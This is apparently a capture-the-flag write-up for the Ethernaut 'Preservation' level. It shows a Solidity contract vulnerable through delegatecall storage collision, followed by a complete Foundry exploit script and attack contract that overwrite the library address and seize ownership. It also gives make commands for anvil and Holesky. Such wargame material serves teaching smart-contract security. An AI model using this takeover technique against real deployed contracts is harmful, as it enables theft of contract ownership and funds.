Level 16 - Preservation ⏺⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}Exploit
make anvil-exploit-level-16
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-16
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
// ================================================================
// │ LEVEL 16 - PRESERVATION │
// ================================================================
contract AttackContract {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 /* _time */ ) public {
owner = msg.sender;
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {AttackContract} from "../src/Level16.sol";
// ================================================================
// │ LEVEL 16 - PRESERVATION │
// ================================================================
interface IPreservation {
function setFirstTime(uint256 _timeStamp) external;
}
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IPreservation preservation = IPreservation(targetContractAddress);
vm.startBroadcast();
AttackContract attackContract = new AttackContract();
// Set the timeZone1Library to the address of the AttackContract
preservation.setFirstTime(uint256(uint160(address(attackContract))));
// Call the setFirstTime function again but this time it will delegate to the attackContract
// which will set the owner to the msg.sender
preservation.setFirstTime(1);
vm.stopBroadcast();
}
}Submit instance... 🥳
Completion Message
Notes
Last updated